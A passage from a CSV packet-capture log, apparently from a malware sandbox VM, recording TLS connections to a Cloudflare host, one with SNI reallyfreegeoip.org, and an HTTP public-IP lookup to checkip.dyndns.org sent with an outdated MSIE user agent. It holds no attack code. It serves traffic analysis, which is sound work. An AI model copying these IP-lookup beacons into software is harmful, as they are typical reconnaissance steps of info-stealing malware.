\"\"padlen\"\": null}}]\"\n2026-04-28 18:22:53.508493,51,TCP 188.114.96.0:443 -> 192.168.122.168:50107,188.114.96.0,192.168.122.168,443,50107,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3056081029 Ack=4000322053,5254007bb792525400577f940800450000288c364000400656d6bc726000c0a87aa801bbc3bbb6281885ee7012055010005357de0000,RT.{..RT.W....E..(.6@.@.V..r`...z......(...p..P..SW...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35894, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 22230, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50107, \"\"seq\"\": 3056081029, \"\"ack\"\": 4000322053, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:53.674969,52,TCP 192.168.122.168:50100 -> 132.226.247.73:80,192.168.122.168,132.226.247.73,50100,80,TCP,Internal,Private Network,,,,,,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,A,,,Ether > IP > TCP,3,TCP A Seq=3782496635 Ack=3385609812,525400577f945254007bb792080045000028d2954000800670bdc0a87aa884e2f749c3b40050e174517bc9cc4e54501003feb7970000,RT.W..RT.{....E..(..@...p...z....I...P.tQ{..NTP.......,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 53909, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28861, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"132.226.247.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50100, \"\"dport\"\": 80, \"\"seq\"\": 3782496635, \"\"ack\"\": 3385609812, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1022, \"\"chksum\"\": 46999, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:54.098424,53,TCP 188.114.96.0:443 -> 192.168.122.168:50107,188.114.96.0,192.168.122.168,443,50107,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=3056081029 Ack=4000322053,Error,\"Error extracting content: b'JITU\\xc5s\\xc2\\x0b\\x8dN\\xc8t\\xca\\x1bt\"\"\\xe3\\xa0\\x8f|\\x0cf]\\xf1K^\\x96&1\\x91a\\xa9\\xfd\\xdb\\xd4\\xc0\\xa9}\\xc9\\xf6\\xff^\\xf9\\xd5/\\xad\\xc6<3o\\xe8|q\\x1d\\xb3k\\x9f\\x01\\xac r\\x03\\x93\"\"\\x9d\\x82\\xf4P\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b'\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 163, \"\"id\"\": 35895, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 22106, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50107, \"\"seq\"\": 3056081029, \"\"ack\"\": 4000322053, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 22617, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 59, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSServerHello  msgtype=server_hello msglen=55 version=TLS 1.0 gmt_unix_time=Tue, 28 Apr 2026 18:22:53  (1777400573) random_bytes=63f5db978c46a017142ae174fa8627b3753a5b24444f574e47524400 sidlen=0 sid=b'' cipher=TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA comp=null extlen=15 ext=[<TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 769, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 48, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"{\\\"\"load\\\"\": \\\"\"JITU\\\\\\\\xc5s\\\\\\\\xc2\\\\u000b\\\\\\\\x8dN\\\\\\\\xc8t\\\\\\\\xca\\\\u001bt\\\\\\\"\"\\\\u380f|\\\\ff]\\\\\\\\xf1K^\\\\\\\\x96&1\\\\\\\\x91a\\\\\\\\xa9\\\\\\\\xfd\\\\\\\\xdb\\\\\\\\xd4\\\\\\\\xc0\\\\\\\\xa9}\\\\\\\\xc9\\\\\\\\xf6\\\\\\\\xff^\\\\\\\\xf9\\\\\\\\xd5/\\\\\\\\xad\\\\\\\\xc6<\\\"\"}\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:22:54.105995,54,TCP 192.168.122.168:50107 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50107,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,FA,,,Ether > IP > TCP,3,TCP FA Seq=4000322053 Ack=3056081152,525400577f945254007bb7920800450000287698400080062c74c0a87aa8bc726000c3bb01bbee701205b62819005011201457de0000,\"RT.W..RT.{....E..(v.@...,t..z..r`......p...(..P. .W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30360, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11380, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50107, \"\"dport\"\": 443, \"\"seq\"\": 4000322053, \"\"ack\"\": 3056081152, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:54.106101,55,TCP 188.114.96.0:443 -> 192.168.122.168:50107,188.114.96.0,192.168.122.168,443,50107,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=3056081152 Ack=4000322054,5254007bb792525400577f940800450000288c384000400656d4bc726000c0a87aa801bbc3bbb6281900ee7012065011005357de0000,RT.{..RT.W....E..(.8@.@.V..r`...z......(...p..P..SW...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35896, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 22228, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50107, \"\"seq\"\": 3056081152, \"\"ack\"\": 4000322054, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 83, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:54.106189,56,TCP 192.168.122.168:50107 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50107,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=4000322054 Ack=3056081153,525400577f945254007bb7920800450000287699400080062c73c0a87aa8bc726000c3bb01bbee701206b62819015010201457de0000,\"RT.W..RT.{....E..(v.@...,s..z..r`......p...(..P. .W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30361, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11379, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50107, \"\"dport\"\": 443, \"\"seq\"\": 4000322054, \"\"ack\"\": 3056081153, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:54.110449,57,TCP 192.168.122.168:50100 -> 132.226.247.73:80,192.168.122.168,132.226.247.73,50100,80,TCP,Internal,Private Network,,,,,,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,PA,,http://checkip.dyndns.org/,Ether > IP > TCP > HTTP > HTTPRequest,5,HTTP Request: GET /,525400577f945254007bb7920800450000a7d29640008006703dc0a87aa884e2f749c3b40050e174517bc9cc4e54501803feb8160000474554202f20485454502f312e310d0a557365722d4167656e743a204d6f7a696c6c612f342e302028636f6d70617469626c653b204d53494520362e303b2057696e646f7773204e5420352e323b202e4e455420434c52312e302e333730353b290d0a486f73743a20636865636b69702e64796e646e732e6f72670d0a0d0a,\"RT.W..RT.{....E.....@...p=..z....I...P.tQ{..NTP.......GET / HTTP/1.1\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)\nHost: checkip.dyndns.org\n\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 167, \"\"id\"\": 53910, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28733, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"132.226.247.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50100, \"\"dport\"\": 80, \"\"seq\"\": 3782496635, \"\"ack\"\": 3385609812, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1022, \"\"chksum\"\": 47126, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPRequest\"\", \"\"fields\"\": {\"\"Method\"\": \"\"GET\"\", \"\"Path\"\": \"\"/\"\", \"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"A_IM\"\": null, \"\"Accept\"\": null, \"\"Accept_Charset\"\": null, \"\"Accept_Datetime\"\": null, \"\"Accept_Encoding\"\": null, \"\"Accept_Language\"\": null, \"\"Access_Control_Request_Headers\"\": null, \"\"Access_Control_Request_Method\"\": null, \"\"Authorization\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": null, \"\"Content_Length\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Type\"\": null, \"\"Cookie\"\": null, \"\"DNT\"\": null, \"\"Date\"\": null, \"\"Expect\"\": null, \"\"Forwarded\"\": null, \"\"From\"\": null, \"\"Front_End_Https\"\": null, \"\"HTTP2_Settings\"\": null, \"\"Host\"\": \"\"checkip.dyndns.org\"\", \"\"If_Match\"\": null, \"\"If_Modified_Since\"\": null, \"\"If_None_Match\"\": null, \"\"If_Range\"\": null, \"\"If_Unmodified_Since\"\": null, \"\"Keep_Alive\"\": null, \"\"Max_Forwards\"\": null, \"\"Origin\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authorization\"\": null, \"\"Proxy_Connection\"\": null, \"\"Range\"\": null, \"\"Referer\"\": null, \"\"Save_Data\"\": null, \"\"TE\"\": null, \"\"Upgrade\"\": null, \"\"Upgrade_Insecure_Requests\"\": null, \"\"User_Agent\"\": \"\"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)\"\", \"\"Via\"\": null, \"\"Warning\"\": null, \"\"X_ATT_DeviceId\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Csrf_Token\"\": null, \"\"X_Forwarded_For\"\": null, \"\"X_Forwarded_Host\"\": null, \"\"X_Forwarded_Proto\"\": null, \"\"X_Http_Method_Override\"\": null, \"\"X_Request_ID\"\": null, \"\"X_Requested_With\"\": null, \"\"X_UIDH\"\": null, \"\"X_Wap_Profile\"\": null, \"\"Unknown_Headers\"\": null}}]\"\n2026-04-28 18:22:54.110467,58,TCP 132.226.247.73:80 -> 192.168.122.168:50100,132.226.247.73,192.168.122.168,80,50100,TCP,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3385609812 Ack=3782496762,5254007bb792525400577f9408004500002838d4400040064a7f84e2f749c0a87aa80050c3b4c9cc4e54e17451fa50100053b7970000,RT.{..RT.W....E..(8.@.@.J....I..z..P....NT.tQ.P..S....,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 14548, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19071, \"\"src\"\": \"\"132.226.247.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50100, \"\"seq\"\": 3385609812, \"\"ack\"\": 3782496762, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 46999, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:54.576307,59,TCP 132.226.247.73:80 -> 192.168.122.168:50100,132.226.247.73,192.168.122.168,80,50100,TCP,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > HTTPResponse > Raw,6,HTTP Response: 200,5254007bb792525400577f9408004500015938d540004006494d84e2f749c0a87aa80050c3b4c9cc4e54e17451fa50180053b8c80000485454502f312e3120323030204f4b0d0a446174653a205475652c2032382041707220323032362031383a32323a353420474d540d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a203130340d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206e6f2d63616368650d0a507261676d613a206e6f2d63616368650d0a4163636573732d436f6e74726f6c2d416c6c6f772d4f726967696e3a202a0d0a0d0a3c68746d6c3e3c686561643e3c7469746c653e43757272656e7420495020436865636b3c2f7469746c653e3c2f686561643e3c626f64793e43757272656e7420495020416464726573733a203130392e37302e3130302e363c2f626f64793e3c2f68746d6c3e0d0a,\"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 345, \"\"id\"\": 14549, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 18765, \"\"src\"\": \"\"132.226.247.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50100, \"\"seq\"\": 3385609812, \"\"ack\"\": 3782496762, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 47304, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"200\"\", \"\"Reason_Phrase\"\": \"\"OK\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": null, \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": \"\"*\"\", \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": null, \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": \"\"no-cache\"\", \"\"Connection\"\": \"\"keep-alive\"\", \"\"Content_Disposition\"\": null, \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"104\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": null, \"\"Content_Security_Policy\"\": null, \"\"Content_Type\"\": \"\"text/html\"\", \"\"Date\"\": \"\"Tue, 28 Apr 2026 18:22:54 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": null, \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": null, \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": \"\"no-cache\"\", \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": null, \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": null, \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, \"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": null, \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": null, \"\"Unknown_Headers\"\": null}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\\r\\n\"\"}}]\"\n2026-04-28 18:22:54.577683,60,TCP 192.168.122.168:50111 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50111,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,S,,,Ether > IP > TCP,3,TCP S Seq=1533454273 Ack=0,525400577f945254007bb792080045000034769a400080062c66c0a87aa8bc726000c3bf01bb5b66a7c1000000008002faf057ea0000020405b40103030801010402,\"RT.W..RT.{....E..4v.@...,f..z..r`.....[f..........W...............\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 30362, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11366, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50111, \"\"dport\"\": 443, \"\"seq\"\": 1533454273, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 22506, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-28 18:22:54.577751,61,TCP 188.114.96.0:443 -> 192.168.122.168:50111,188.114.96.0,192.168.122.168,443,50111,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=177481288 Ack=1533454274,5254007bb792525400577f94080045000034000040004006e300bc726000c0a87aa801bbc3bf0a9426485b66a7c28012a56457ea0000020405b40101040201030309,\"RT.{..RT.W....E..4..@.@....r`...z.....\n.&H[f.....dW..............\t\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58112, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50111, \"\"seq\"\": 177481288, \"\"ack\"\": 1533454274, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 22506, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-28 18:22:54.577854,62,TCP 192.168.122.168:50111 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50111,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=1533454274 Ack=177481289,525400577f945254007bb792080045000028769b400080062c71c0a87aa8bc726000c3bf01bb5b66a7c20a9426495010040257de0000,\"RT.W..RT.{....E..(v.@...,q..z..r`.....[f..\n.&IP...W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30363, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11377, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50111, \"\"dport\"\": 443, \"\"seq\"\": 1533454274, \"\"ack\"\": 177481289, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:54.578339,63,TCP 192.168.122.168:50111 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50111,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=1533454274 Ack=177481289,525400577f945254007bb792080045000163769c400080062b35c0a87aa8bc726000c3bf01bb5b66a7c20a9426495018040259190000160301013601000132030169d776045a98eaff5cf4e779d0b5bafb91c8061194b9fd9ab0f49f8e0666208b00000ec00ac009c014c0130035002f000a010000fb0000001800160000137265616c6c796672656567656f69702e6f7267000a00080006001d00170018000b00020100002300c0168334713c1d2370c2d8321cd32fed7f29083530180fb4e70816062a0f1580975b098bfd0d4aa44918648244e9032c72d81e6a5432615b24fd4ed6de2e55a8a938adea3238a35c1bcba5385e8c1591d9ef3e39ae5b07f90e6c59465bc94956f4cfcfeaa25d9c9001dac96b74cd8bae425eeda4baefab7b5722f3254595d3e8a122e99292e531c2908eed19ac46599d0473fa85bfcdad1456250e7c27b68c3f4e80bedb61c3f3041febf95d7412253518124d6656a06b0f016f7799af38dd3d5b00170000ff01000100,\"R